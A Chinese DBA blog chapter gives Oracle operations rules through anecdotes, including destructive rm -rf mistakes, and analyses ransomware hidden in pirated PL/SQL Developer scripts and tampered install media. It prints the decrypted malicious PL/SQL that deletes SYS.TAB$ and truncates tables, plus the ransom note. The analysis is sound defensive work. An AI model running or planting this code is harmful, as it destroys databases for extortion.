暂无图片
暂无图片
4
暂无图片
暂无图片
暂无图片

《数据安全警示录(修订版)》第二章-运筹帷幄 三十六计

原创 eygle 2019-10-29
3752

运筹帷幄之中,决胜千里之外
-《史记·高祖本纪》

檀公三十六策,走为上计
-《南齐书·王敬则传》

注:本章是为《DevOps 三十六计》撰写的一章内容,提取了本书的部分内容,总结了Oracle数据库运维中的经验法则,希望能够在DevOps理念下向着开发环节传递,从而做到运筹帷幄,防患未然的作用,在此收入本书,作为开篇的总括。

在很久以前,我刚入行做数据库运维的时候,曾经总结过一句话,说:管理规范的数据库们,除了数据库名称不同,其他都相同;管理混乱的数据库们,除了数据库名相同,其他都不同。

当时有位朋友新加入一个企业,管理数百个数据库,她发现这些数据库除了数据库名称都叫 ORCL 之外,其他配置一片混乱,完全不同,问题层出不穷,头痛不已;而比较而言,我们原来规划和规范良好的数百个数据库,除了按照业务等关键因素定义了不同的名称,其他配置则完全相同,规范且易于管理。

一个故事道尽了数据库运维的苦辣辛酸,和人间世情相似,幸运的数据库大抵相同,而不幸的数据库,问题频发并且各有各的故事。

在企业的信息系统中,数据库一直处于核心位置,其位处操作系统之上,依托存储、网络,承接业务应用的数据落地,重要性日益凸现,在DevOps时代,数据库的纽带作用同样意义深远。纵观运维的整个体系,从网络运维、存储运维、安全运维向上以至数据库运维,即互相关联,又各有侧重,互相印证则更具价值,而所有这些基础运维进一步演进,通过自动化运维去消除各种人为操作的风险,降低运维的复杂度,正是这个DevOps时代我们努力的核心。在数据库运维部分,又分化出Oracle、MySQL和PostgreSQL运维等几个主要流派,这其中既有相同,又有特异之处,即体现了通用准则,又有不同独特的体现,可以相互借鉴。

在Oracle数据库的运维总结,结合我在数据库领域亲身穿行20年,亲眼所见,亲身而历,将那些血泪写成的故事,凝聚在36条法则里,和大家共为警示,以期不蹈覆辙,履险如夷。限于本章的篇幅,我重点遴选了3条法则,从全局法则到具体操作,希望能以一斑尽量展示全豹:

第一、有效的备份重于一切,这无疑是所有DBA甚至每一位电脑前面的读者都应当重视的,大到数据库,小到个人文档,有备方能无患,备份的意义在于防范那些突发的事故,在这一法则的展开中,我总结了行业里种种刻骨铭心的案例,以其强调备份的重要意义;

第二、测试和生产环境隔离,这条法则的本意是避免可能发生的误操作,而在无数的生产事故中,事实上误操作的发生率远远超过了其他风险,既然如此,对生产运行系统的任何保护都不为过,很多DBA在测试和生产之间缺乏界限,对很多操作缺乏敬畏,我这里强调的隔离更加是思想认知上的;

第三、禁止远程和业务时间的DDL操作,这一法则是操作意义上的限定,更是内外兼顾的血泪总结,众多恶意攻击都来自远程的DDL,删除和截断用户的数据,而运维上DBA或开发人员无心的一次DDL,也可能随时引发性能阻塞或系统故障,这一法则我们希望既能隔绝外部风险,又能防范内部疏忽。

以下这些故事,也许有很多似曾相识,时刻提高安全防范意识,让数据远离风险,这是运维的基本职责之一。

1.有效的备份重于一切

我曾经玩笑式的说过一句话:没有删除过数据库的 DBA,职业生涯是不完整的。

删除数据库,在局外者的眼中,有时候看起来是不可思议的,但是这样的事件却层出不穷,屡见不鲜,以至于无数 DBA 前仆后继的走在这条完善职业生涯的道路上。

阳光之下,并无新事,我们完全不用走远,在2017年开端,就有几个名闻技术圈的误删除案例:

1.五重备份无一有效,GitLab 删除了他们的数据库
这个案例发生在2017年2月,当时一个疲惫的系统管理员,在荷兰深夜工作,执行数据库复制过程中意外地删除了一个错误的服务器上的目录,结果是:他删除了一个包含300GB的实时生产数据的文件夹;

2.云服务商 Digital Ocean 误删除数据库至业务长时间中断
这个案例发生在2017年4月,位于纽约的云服务商 Digital Ocean 遭遇了一次长达4小时56分钟的停机事故,事故的原因是:主数据库被误操作删除了(primary database had been deleted);

3.云服务商 Verelox 的离职员工删除了所有数据
这个案例发生在2017年6月,位于荷兰海牙的一家云主机商verelox,一名前任管理员删光了该公司所有客户的数据,并且擦除了大多数服务器上面的内容,客户数据恢复希望渺茫。

曾经收集过广大Oracle DBA们亲历的误删除案例,以期警示新入行的朋友们,我们也可以通过这些案例,引以为戒,规范规避,接下来的表格原汁原味的呈现了那些年DBA们走过的坎坷路,看看亲历者们的事后总结,希望这些刻骨铭心的误操作,能为大家带来一些感悟:

案例概述 案例详情
误删除Oracle软件 硬件维护人员删除归档日志的时候,把节点2的整个ORACLE_HOME都删除了。在删除的时候没有注意到目录改变了,键盘做了一个向上的动作,刚好就是刚刚使用的rm -rf *,然后一个下意识的动作回车就这么按下去了。
误删除所有数据文件 在Linux平台上,一次不小心操作,把oradata下所有的东西全删除了。至今铭刻于心。
误删除软件及数据 在生产环境目录下,执行rm -R .,结果数据库、应用全部over。停机5天,叫了N个人才搞好。
空格导致的误删除 我最难忘的:root 用户在根目录下 rm -rf abc ,abc 和之间有个空格,结果把系统删除了。已经成为佳话。什么事情都可能发生的。从此,整个人好像变了一样,做什么事情,都三思而后行了。
空格导致的误删除 列举一次绝对毁灭性的操作:重建表空间后文件系统里有些数据文件没有用了,我打算清理空间本来语句类似是这样写:rm -rf ts_tab_test* 由于网络有延迟,导致了手欠,多敲了一个空格,写成了rm -rf ts_tab_test * 结果这个目录下所有的数据文件都被我删除了,绝对崩溃
空格导致的误删除 我的教训不是很深刻,不过意义很重大:删除一些trace文件,输入rm orcl*,结果通过VPN到生产环境的网络太慢,命令刚刚慢慢的显示出来,看都没看直接按回车,结果执行的命令却是rm orcl *,因为orcl和星号中间有个空格,所以把这个目录下面所有的内容全部删除了。出了一身冷汗,试想,如过是删除数据文件目录下的内容,那立马死翘翘了,到现在为止,每次都要等命令完全显示出来,从头到尾看一遍再执行。不过,大多数错误都是在很繁忙或者很疲劳的情况下发生的,呵呵,看来dba应该多休息才是。
空格导致的误授权 安装数据库的时候su - chmod 777 -R /oracle ,多输入一个空格 变成chmod 777 -R / oracle ,许多系统文件属性变坏,Unix瘫痪。这个错误犯了两次,用系统恢复磁带重做系统,幸好是测试机。从此以后系统部门的同事不肯给root口令。
误删除日志文件链接 我所经历的. RAW磁盘的链接文件, 整理的时候发出rm命令加了通配符 *, 结果把正在运行的一个实例的REDO LOG的链接文件删除了. 当时就感觉出错误了. 实例当时还没有崩溃. 后来切换REDO LOG时候找不到文件就崩溃了. 幸好RAC其他实例正常运行, 用户和其他部门都没有感觉到.后来把那个链接文件重新建立, 又可以启动了. 自此使用 rm 命令很小心.
误删除数据文件 当时,那几天都是很疲劳的。在开发环境作数据文件分布调整时,先cp某个表空间所有文件到其他目录,然后用 * 匹配rm了此表空间在旧目录的数据文件。但是rename时发现居然有一个数据文件没有cp过来,而且此表空间是system表空间。没办法,开发人员明天还要使用这个环境。幸亏之前有一备份,不过当时磁盘空间不是很充裕,足足折腾了一夜才搞定!想起来都后怕哦,幸亏不是正式环境了!再以后,就很少用cp,rm了,特别是rm *…,一般是此类操作用mv来完成。需要rm删除的东西,一般mv到一临时目录了,然后再rm了!呵呵,可能都有点谨慎过头了哦!
脚本中误删除文件 自己写了个rman备份以及备份成功后rm旧log的shell腳本,log的目录赋值給变量,结果执行時目录赋值沒成功,該变量指向了另一個目录,结果下面的东东全没了,系统立即报错(把用户的home目录删了)。幸好当时头脑还很清醒,也没误删什么重要的数据,很快就搞定了。以后脚本中要rm某个目录的东东再也不敢用变量表示了,直接hardcode进去算了,這样也放心。另外出问题后一定要冷静,定位出问题原因后再动。
误删除数据文件 刚进现在的公司不久时,做一个数据仓库项目,同事周日加了一天班把数据抽到一个大表空间里,大概100G,第二天因为临时表空间增长很快,决定重建,这个临时表空间的开头和那个大表空间名字是一样的,只是后面加了一个_temp,当时也是因为事情比较多,认为这是很简单的,结果输入名字就忘了输 入_temp,把大表空间删除了,同事白加了一个星期天,虽然没影响什么进度(数据可以重抽),但这次教训是深刻的.个人教训: 1.rm删除的时候一定不要用*之类的,要用的话要看好再用,否则会有意想不到的效果. 2.人在累的时候最容易出错误,所以每一次回车都要看好.
误删除表数据 以前公司,有一个程序员写好的脚本,一个实施人员去执行,脚本里面带了delete * from xxx;commit;啥备份,归档都没有。结果我们公司全部人员出动,抱着笔记本,台式机,去北京某区县所有的机关单位上门录了一星期人员信息。至今记忆犹新.

其实我们非常清楚,由于软硬件不可避免的故障,以及人为或自动化操作不可避免的 BUG,数据遭受损失只是早晚的问题,我们面对的现实就是,数据库要么已经崩溃,要么正走在崩溃的道路上。

那么怎样才能避免陷入困境?我曾经说过,唯一会让 DBA在梦中惊醒的事情就是,没有备份。进一步的,只有有效的备份手段才能让企业数据避免陷入不可挽回的困境。

所以我们郑重地将这一守则列为第一计:备份重于一切。有了有效的备份,即使遭遇灾难,也可以心中有底,手中不慌;这不仅仅是针对Oracle数据库,针对任何数据环境,DBA都应该将此列为首要之职责。

2.测试和生产环境隔离

安全来自规范,风险来自无序,来自生产环境和测试环境的种种误操作层出不穷,以至于我们非常郑重的提醒,测试和生产环境应当严格的隔离,数据网络也应当隔离,数据库始终应处于应用系统最后端,避免将其置于对外的访问连接之下,并且绝对不能在生产环境进行测试。

对于大企业可能这样的环境实属现实,但是对于中小企业,往往各有不同,而DBA作为超级权限的拥有者,任何一个失误都可能导致灾难性的影响,以下又是一系列DBA以身犯险的现身说法:

案例概述 案例详情
生产与测试环境错误 开了两个PL/SQL Developer窗口,一个生产的,一个非生产的,同名用户,同表空间名,结果应该在非生产系统建用户脚本错误的在生产系统中跑了一下,非生产是grant limit tablespace to XXX的,在生产中跑了以后,生产中的用户变成LIMIT了,结果程序出错,表空间不足。导致应用出错半个小时后才处理好。这个太惨痛了,建议所有的使用多个环境的人,并且操作多个PL/SQL Developer的人尽量只开一个窗口操作,或者是操作生产的时候,用只读的查询用户。
生产与测试环境错误 自己电脑装了ORACLE数据库,平时操作都在自己创建的库上,经常删除用户,重新导最新的数据进去,那天也是快下班了,急,直接删除用户,删除的时候还在想就算是正式库权限不够没关系,看也没看就敲回车了…后来不说了,两个字,郁闷
生产与测试环境错误 主机和笔记本的oracle服务名一样,连接错误,通过业务程序把数据库给初始化了,那个惨
生产与测试环境错误 也是开了多个窗口,一个窗口用于创建数据库,另一个窗口是生产系统的数据库。结果搞错了环境,在生产的服务器上直接shutdown关闭了数据库,立刻电话就上来了。好在没有造成太大影响,也是提心吊胆的。多窗口危险很大!!!
生产与测试环境错误 我一同事自己做了個測試環境,想把生產庫的數據導入到他自己的DB里,結果不小心,干掉了生產庫里好多表,直接導致產線停了4個小時
生产与测试环境错误 有次刪除測試庫的用户,結果连错环境把正式庫的給刪除了
生产与测试环境错误 尤记得那年我还很冲动,测试环境中发现表空间不够了,就加了一个文件。一会有人打电话说生产库总报一个提示。马上去看,发现我的数据文件竟然加在生产库 上!而且路径类似windows的,非常奇怪,冷汗!靠,原来写错tns串了,见鬼的是测试环境和生产环境网络竟然是互通的!生产环境是rac,裸设备,9i……后来只好把这个本地文件脱机,数据倒没有丢失,但总有个删不掉的脱机文件! 后来找个理由升级成10g了, 我心里的石头才算放下了。从此以后我从来没有犯错。
生产与测试环境错误 同事用tar包迁移了生产库的Oracle环境和数据到测试机,测试机和生产库是VPN连起来的,用户名和SID、服务名也都一样。我就在测试机敲了sqlplus / as sysdba,开始drop user cascade 和imp导入数据。跑了一段时间后,然后又开了个窗口通过服务名连接:sqlplus user/user@db,当我准备drop其他对象的时候,真是老天保佑!!!看着这个和连生产库一样的连接串,让我当时灵光一闪,心想会不会连到生产库上了呢?然后执行查询,select utl_inaddr.get_host_name() from dual;结果赫然是生产库的主机名!!!!回头看看头一个窗口已经删除完了用户正在执行数据导入… 当然脑袋嗡的一下就空白了,手脚发麻的感觉。直到现在都在回味…幸好头一个窗口偷懒用了本地连接,不然我就卷铺盖走人了。后来检查,同事迁移完了后,TNS配置里没有修改,赫然是生产库的IP和SID,问之为啥没改,答曰:一是平常都用本地连接,二是忘记了。上帝保护!!我和他约法三章,以后测试环境和生产环境的USER,SID,服务名都不能一样。又安排了一个计划,准备12月调整机房网络,单独让生产环境只和一个网段连,然后再用VPN连这个网段。
误删除生产环境数据 有一次在测试库drop掉一个表,drop完发现把生产库中的表给DROP了,1000多万笔纪录啊.当时产线就停了,最后一级生产事故.偶公开检讨 教训:不能用TOAD同时打开两个以上的库

基于种种惨痛的经历,我们为大家提出这一计谋:测试和生产环境隔离。希望能由此规避人们无法杜绝的种种错误操作。更进一步的,如果能够实现管理工具的区分和隔离,那就可以从另外的维度提升规范化。当然最终,如果我们能够通过产品,将所有类似这样的变更平台化、自动化,那就可以从根源上杜绝其中大部分问题。DevOps的要义也正在于此。

3.禁止远程和业务时间的DDL操作

对于数据库来说,DDL多数情况下意味着不可回退,而一旦某些DDL操作被轻率的发出,就可能导致数据库故障。比如业务高峰期创建一个索引,就可能引发严重的竞争和性能瓶颈;比如黑客删除一个数据表或者创建一个任务,就可能危害数据。

从无数惨痛的教训中,我们总结:如果能够禁止远程DDL操作,通过严格的变更流程在服务器本地执行DDL操作,可以有效的防范很多安全风险,严禁业务高峰时间的DDL操作,将变更规范在有计划的时段进行,则可以有效的避免业务影响。

来自软件工具的安全注入

2016年底和2017年初,在 Oracle 数据库领域,有一件重要的安全事件爆发出来,那就是针对 Oracle 数据库的比特币勒索事件,这一事件后来蔓延到其他数据库领域,着实让 DBA 们度过了一个繁忙的季节。这次安全事故在2018年再次卷土重来,十分值得警惕。

这一次的事件爆发的非常匪夷所思,最早报告的客户声称,他们的企业数据环境非常安全,网络隔离,安全防护齐备,但是数据库仍然被恶意攻击:
1.png

在Oracle数据库受攻击之后,数据库的告警日志中,可能充斥大量类似如下信息:

ORA-20315: 你的数据库已被SQL RUSH Team锁死  发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (大小写一致)  之后把你的Oracle SID邮寄地址 sqlrush@mail.com我们将让你知道如何解锁你的数据库  
Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (case sensitive),  after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.
ORA-06512: at “XXX.DBMS_CORE_INTERNAL         ", line 27
ORA-06512: at line 2
复制

当时客户一片恐慌,草木皆兵,因为不了解问题的起因,也就不知道如何防范,客户深为疑虑,后来经过沟通、了解和分析,得到的原因出乎所有人的意料:

问题的根本原因是,如果用户从互联网上下载了盗版的 PL/SQL Developer 工具后(尤其是各种绿色版、破解版),就可能因为这个工具中招。所以这个问题和 Oracle 本身关系不大,也没有注入那么复杂。而是随着你使用这个工具,用户的权限就自然被附体的进行了入侵。

PL/SQL Developer 在中国的流行程度和盗版程度毋庸置疑。这个软件的安装目录存在一个脚本文件 AfterConnect.sql,这个脚本就是真正的问题所在。正版软件安装,这个脚本文件是空文件,但是被注入的文件包含了一系列的JOB定义、存储过程和触发器定义,就是祸患的源头。

重要的问题要说三遍:盗版软件害人!盗版软件害人!盗版软件害人!

展开一下这个问题,受感染文件 - AfterConnect.sql 开头是这样的,伪装成一个 login.sql 的脚本内容,有清晰的注释代码:

-- All rights reserved. 
--
-- NAME
--   login.sql
--
-- DESCRIPTION
--   PL/SQL global login "site profile" file
--
--   Add any PL/SQL commands here that are to be executed when a
--   user starts PL/SQL, or uses the PL/SQL CONNECT command.
--
-- USAGE
--   This script is automatically run
--

-- This SQL was created by Oracle ; You should never remove/delete it!

复制

实质内容,以加密方式展示,用户看不到内容,但是可以通过 unwrap 工具进行解密:

a000000
354
abcd
7
6f2 467
N/V8HjJRfuLs0jji4Nsz59BipVwwg0NcTPZ3Z46BQqqVlW/f91N+YSzjDJV+ZQUuE5EGR366
EJMlfvzRE58yt6OZc4KSTcpvVvL2DbSsleURlQZtls3WJA5pz/M0+jPWnkT4FjkVuBeLaMdy
ALf02U3cX8XvuLMWMTTUCuIMWE1YSspHs1ZXI9Gs+vtlQBvjnlOe6gd3z3/W+1hQ9NVZ/I6C
j2V5tDzc6HzQPhRRxbi+yLtemcB/XmZq6LevX25Uoh+PX5PxDirtUX/0ml29rwGQ83Z0yI00
bsjMfZuniA042B8dOxpSCVkldQHIJT32hCeo0PjpAho6+jazCqyp3gXbfFJbkXPcj5X72xmR
BKYB7IeI19FWpSf0bYk033EqsunX2ZmZMbnifUrBWy/XgFJ8so/pL0Q4j8a4veh7zSmRqAf4
IwPePjnF5qtZiWrhEjg05kstoQ2gISXW5md7jhB6nMXypgSk+31ThFQoV8MayDQlv+mnqAFQ
JnkTUTBAepZf1v/MLT/vpbq/g9dYU7px5vGjcSXSs+W6C0aZl1rLgGbSwt7uTUlBoeXFTx/M
V3hRu2jj+dFRWYh1oQt3ceLIuyw2bQl4zT8jPyDANYpoFnjUWMienpHVLnVuO7HBlHUgcp8O
uWsPh47dduwxpeQraQf6Qo94VnBch/vzMOueRXpeB/t1ftQiny8G3zCBI0njZmlbW7vEd5tG
TMVovGXAnSErHC9zg24j9nDbmCowZGq9Wj/xLF6i11NClsiUelde9IJSam2YJusJEcZOCHbA
61rn6O3JMEfTVbLaA8yGI2VYTgVUs3YraHSE59ZXNYT26ABbss/ze9q2YXM83hC+fsRMF/UB
CyDehlVk6poPu0iqh3GtYz8ewTyr3U4Huiw5h3ZWSLy1YVPtoJIy/pWvJcSQwapjtTH5sFtP
QXlkijT3+59BVrskc26lkH1zm7lDYOzNrpClUhJzzfyG14Hw7ZCADPYTJKck4rlIc3omb8sB
88Za8K4d6FhaDHeGlAPPzvR2h4QEj7BDj6eGBWuZ5d7i9lhFpxlcRn+XGrnpY+SYpKy1+Nuw
YF6gWAi2A5DlAe5yl38YHz8dXJEBsA==
/

复制

无疑,黑客是非常了解 Oracle 数据库的,其脚本代码的核心部分,解密后如下:

   SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE;
   IF (DATE1>=1200) THEN
   EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system  as select * from sys.tab$';
   DELETE SYS.TAB$ WHERE DATAOBJ# IN (SELECT DATAOBJ# FROM SYS.OBJ$ WHERE OWNER# NOT IN (0,38)) ;
   COMMIT;
   EXECUTE IMMEDIATE 'alter system checkpoint';
   SYS.DBMS_BACKUP_RESTORE.RESETCFILESECTION(14);
   FOR I IN 1..2046 LOOP
   DBMS_SYSTEM.KSDWRT(2, 'Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (case sensitive),  after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.');
   DBMS_SYSTEM.KSDWRT(2, '你的数据库已被SQL RUSH Team锁死  发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (大小写一致)  之后把你的Oracle SID邮寄地址sqlrush@mail.com 我们将让你知道如何解锁你的数据库 ');
   END LOOP;
   END IF;
END; 

复制

请留意黑客的专业性,在程序的开端有以下部分判断:

SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE;
   IF (DATE1>=1200) THEN

复制

也就是,判断数据库创建时间大于1200天,才开始动作(这个判断相当有见地,小库和新库,数据少不重要,先放长线钓大鱼),如果你的数据库还没有爆发,那可能是因为时间还没有到(在2018年再度爆发的这类问题,就是因为这个潜伏期的存在)。

注入的脚本的动作还包括:创建一系列的存储过程,创建大量的定时任务,Truncate 截断用户的数据表。事实上,这个摧毁是致命的,即使用户缴纳了赎金,黑客也无法帮助你还原数据。

主要的存储过程包括以下几个,这些名称已经被加入到我们的数据库健康检查标准工具『白求恩』中,以防范这样的隐患,如果提前发现问题,解决方案就是删除这几个注入的存储过程和定时任务:

PROCEDURE "DBMS_CORE_INTERNAL         " 
PROCEDURE "DBMS_SYSTEM_INTERNAL         "
PROCEDURE "DBMS_SUPPORT_INTERNAL         " 

复制

攻击的核心代码这样递归 Truncate 所有数据表:

STAT:='truncate table '||USER||'.'||I.TABLE_NAME;

复制

国内受此影响的数据库,保守估计也有数百个,甚至引发了大量无法恢复的数据灾难,当然,如果我们已经遵循了第一原则,保持有效的备份,那么还可以及时的恢复数据,但是如果未能保有及时、有效备份,可能数据的损失会非常严重。

对于这一类的安全风险,我们往往防不胜防,料无可料,所以还是要加强规范和管理,从源头上就杜绝这类问题发生的可能性。如果我们能够屏蔽数据库远程DDL的执行,那么这些创建注入对象的语句就无法执行,数据库也就实现了这类风险的自然免疫,一个数据库自身的抗体是健康的根本。

曾经我们呼吁使用正版软件是为了保护知识产权,今天又多了一个理由,为了保护数据安全。

我们强烈建议用户检查数据库工具的使用情况,避免使用来历不明的工具产品,最佳方式是:采用正版软件,规避未知风险。

最后简单陈述一下,我们知道,几乎绝大多数数据库的客户端工具,在访问数据库时,都可以通过脚本进行一定的功能定义,而这些脚本往往就是安全问题的漏洞之一。本例的攻击手段非常初级,但是也非常巧妙。

下载来源不明、汉化来历不明、破解来历不明的工具是数据库管理大忌,以下列出了常见客户端工具的脚本位置,需要引起注意,任何一个被自动调用的脚本都可能被注入而潜藏安全隐患:

SQL*Plus: glogin.sql / login.sql
TOAD : toad.ini
PLSQLdeveloper: login.sql / afterconnect.sql

复制

强烈建议用户加强数据库的权限管控、生产环境和测试环境隔离,严格管控开发和运维工具。

来自安装介质的安全注入

这一次的安全事故,似乎打开了一个潘多拉魔盒,类似的安全事故又随后爆发出来。在中国很多用户习惯从百度云盘下载各种Oracle数据库的安装介质,大约在2017年左右,一份被污染的介质被广泛传播了出去。恶意作者修改了数据库中的 prvtsupp.plb源文件,其中恶意的代码是 DBMS_SUPPORT_DBMONITOR:

[oracle@enmo ~]$ grep DBMS_SYSTEM $ORACLE_HOME/rdbms/admin/*
/product/11.2.0/eygle/rdbms/admin/prvtsupp.plb: create or replace procedure DBMS_SUPPORT_ DBMONITOR wrapped
/product/11.2.0/eygle/rdbms/admin/prvtsupp.plb: create or replace trigger DBMS_SUPPORT_ DBMONITOR
复制

通过触发器,定时执行存储过程,与之前的PL/SQL Developer案例如出一辙,存储过程的核心代码判断数据库创建时间,如果大于等于300天,则备份tab的内容到一个创建的备份表之后删除tab中的全部内容::

EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select * from sys.tab$';
DELETE SYS.TAB$;
复制

在下次数据库启动时,因为TAB$中的元数据被损坏,数据库无法启动,告警日志中会记录ORA-600 16703的异常,这个错误是指数据库字典出现不一致:

ORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [], [], []
复制

以下就是这样一个案例,客户在尝试启动数据库时,一个 ORA-600 错误映入眼帘,反复重试无法消除问题,历史备份,同样存在问题,客户毫无防范的,陷入一场数据库灾难:

SQL*Plus: Release 11.2.0.4.0 Production on Fri Jul 20 22:12:34 2018
Copyright (c) 1982, 2013, Oracle.  All rights reserved.
Connected to an idle instance.
 
SQL> startup mount;
ORACLE instance started.
Database mounted.
 
SQL> alter database open;
alter database open
*
ERROR at line 1:
ORA-01092: ORACLE instance terminated. Disconnection forced
ORA-00704: bootstrap process failure
ORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [],
[], [], [], [], [], []
Process ID: 1236
Session ID: 1 Serial number: 5
复制

按照我的分析思路,第一步是启用数据库的10046 事件,跟踪一下问题的出现位置:

2.jpg

从跟踪文件中,可以找到如下信息,最后执行的是 obj$ 的对象访问,绑定变量传入值是 20 :

3.jpg

注意,最后出错前的递归查询,其 BINS # 605191324 事实上对应的就是 bootstrap$ 的 初始化过程:

PARSING IN CURSOR #605191324 len=188 dep=1 uid=0 oct=1 lid=0 tim=77597981 hv=4006182593 ad='23987650' sqlid='32r4f1brckzq1'
create table bootstrap$ (
END OF STMT
PARSE #605191324:c=0,e=372,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,plh=0,tim=77597979
EXEC #605191324:c=0,e=78,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,plh=0,tim=77598086
CLOSE #605191
复制

324:c=0,e=4,dep=1,type=0,tim=77598125
在这个递归过程中,取得所有引导数据库启动所需SQL,然后再顺序加载内容,完成内存初始化。
最后出现错误之处是 20 号对象,在数据库中是 ICOL$ 对象:
SQL> select object_name from dba_objects where object_id=20;

OBJECT_NAME

ICOL 在 bootstrap 中,可以找到这条记录,在初始化这个对象的过程中,数据库在 TAB$ 中找不到这条记录,就出现了 16703 的错误:
CREATE TABLE ICOL("OBJ#" NUMBER NOT NULL,"BO#" NUMBER NOT NULL,"COL#" NUMBER NOT NULL,"POS#" NUMBER NOT NULL,"SEGCOL#" NUMBER NOT NULL,"SEGCOLLENGTH" NUMBER NOT NULL,"OFFSET" NUMBER NOT NULL,"INTCOL#" NUMBER NOT NULL,"SPARE1" NUMBER,"SPARE2" NUMBER,"SPARE3" NUMBER,"SPARE4" VARCHAR2(1000),"SPARE5" VARCHAR2(1000),"SPARE6" DATE) STORAGE ( OBJNO 20 TABNO 4) CLUSTER C_OBJ#(BO#) 在进程的转储文件中,也可以看懂对于 TAB 的递归访问,绑定变量是 20 :

4.png

再来看看 ORA-600 错误,几个参数含义如下:1403 指记录未发现,20 指对象号:

ORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [],
[], [], [], [], [], []
 
$ oerr ora 1403
01403, 00000, "no data found"
// *Cause: No data was found from the objects.
// *Action: There was no data from the objects which may be due to end of fetch.

复制

所以,现在问题很清楚了,是因为 20 号对象递归时找不到,这是被恶意删除了。这就是数据库安装介质被注入的问题。

强烈警示:在下载Oracle安装介质时,一定要从可靠来源下载,Oracle 官网是最佳途径。当从未知来源获得安装软件时,你就可能面临着注入风险。这一次的客户就是遭遇到了这个问题的威胁。

在这个案例中,被注入的文件是:

$ORACLE_HOME/rdbms/admin/prvtsupp.plb

复制

文件中被加入的注入信息如下图所示:

5.jpg

这个程序包文件最后被注入了一个触发器,这个启动触发器,当数据库启动之后被触发执行,如果数据库中存在这个触发器,那就是被感染了这个问题:

6.jpg

这个触发器的作用就是执行的是前面加密代码中的存储过程。

存储过程解密后的代码如下所示,其逻辑就是,判断当数据库的创建时间大于 300 天时,创建一个备份表,备份 TAB$ 内容之后,通过DELETE删除清空 TAB$ 表中的所有内容。
此后,数据库当然就无法启动了:

PROCEDURE DBMS_SUPPORT_DBMONITORP IS
DATE1 INT :=10;
BEGIN 
   SELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE;
   IF (DATE1>=300) THEN 
   EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system  as select * from sys.tab$';
   DELETE SYS.TAB$;
   COMMIT;
   EXECUTE IMMEDIATE 'alter system checkpoint';
   END IF;
END;

复制

所以再次提示大家:由于这个攻击,具有潜伏性,如果你是从网络下载了Oracle安装包,尤其是 11.2.0.4 版本,建议用户检查你的数据库,确保安全。由于 Oracle 的 11.2.0.4 版本要从 MOS 上下载,需要具有Oracle的授权,所以很多非授权用户从其他来源下载,就面临了风险。

那么怎么解决这个问题呢?

如果提前发现了问题,TAB尚未受损,那么在数据库中删除DBMS_SUPPORT_DBMONITOR触发器即可,如果 TAB 被删除但是数据库还未关闭,可以将备份表中的数据插回到 TAB$表(备份表以 ORACHK 开头)。

如果已经被删除了 TAB$ 表中的内容,数据库启动引导遇到故障,那么问题就会比较复杂。一个可行的思路是,找到一个完好的近期备份,或者找到一个良好运行的同平台、同版本 SYSTEM 文件,将引导块全部复制回来,就可以启动数据库了,以下是恢复过程截取的一部分BLOCK的示范:

7.jpg

当然,由于黑客在删除之前备份了 TAB$ 的内容,所以也可以通过恢复工具,如云和恩墨的ODU工具从备份表中(备份表名格式:ORACHK’||SUBSTR(SYS_GUID,10)||’ )恢复 TAB$ 的内容,再进行数据抽取将数据提取出来。

在通过BBED从完好的SYSTEM文件中复制数据块进行恢复之后,启动数据库时可能会收到提示,要将数据库以 upgrade 模式启动(此过程不同恢复步骤表征可能不同):

SQL> startup
ORACLE instance started.
Database mounted.
ORA-01092: ORACLE instance terminated. Disconnection forced
ORA-00704: bootstrap process failure
ORA-39700: database must be opened with UPGRADE option

复制

以 upgrade 模式启动,数据库成功打开:

SQL> startup upgrade;
ORACLE instance started.
 
Total System Global Area  531476480 bytes
Fixed Size                  1406404 bytes
Variable Size             318769724 bytes
Database Buffers          205520896 bytes
Redo Buffers                5779456 bytes
Database mounted.
Database opened.
 
SQL> select * from dual;
D
-
X

复制

通过BBED的恢复过程比较复杂,成功与否取决于是否能找到近期完好的SYSTEM备份,后续的细节上还需要进行处置,解题的思路供读者参考。

这个案例警示我们,安全的风险无处不在,唯有正道直行才可能规避恶意问题的伤害。

类似事件回顾:>
• 2017年8月,境内外多家安全公司爆料称NetSarang旗下Xmanager和Xshell 等产品的多个版本被植入后门代码,由于相关软件在国内程序开发和运维人员中被广泛使用,可能导致大量用户服务器账号密码泄露。
• 2015年9月,XcodeGhost入侵苹果iOS事件在业内引起不小震动。事件起因为不知名黑客向iOS应用开发工具Xcode植入恶意程序,通过网盘和论坛上传播,被感染的App并以此劫持苹果用户相关信息。来自多个安全团队数据显示,病毒感染波及AppStore下载量最高的5000个App其中的76个,保守估计受影响用户数超过一亿。
• 2012年2月,中文版putty等SSH远程管理工具被曝出存在后门,该后门会自动窃取管理员所输入的SSH用户名与口令,并将其发送至指定服务器上。

风险从来都不是臆想和草木皆兵,就在你不经意的时刻,可能风险就以匪夷所思的方式降临到我们的身边,所以我们唯有遵循完善的安全方案和守则,以及来自实践的经验,不断加强安全防护,从根本上规避种种安全风险。

安全防范,请从今日开始。

4.Oracle数据库DevOps的三十六计

胜战计:运维中故障不可绝对避免,但是做好充分的准备和规范,可以有效的减少故障、规避和绕过故障,以不战而屈人之兵者,是为胜战。
1.有效的备份重于一切,有了有效的备份,即使遭遇灾难,也可以心中有底,手中不慌;
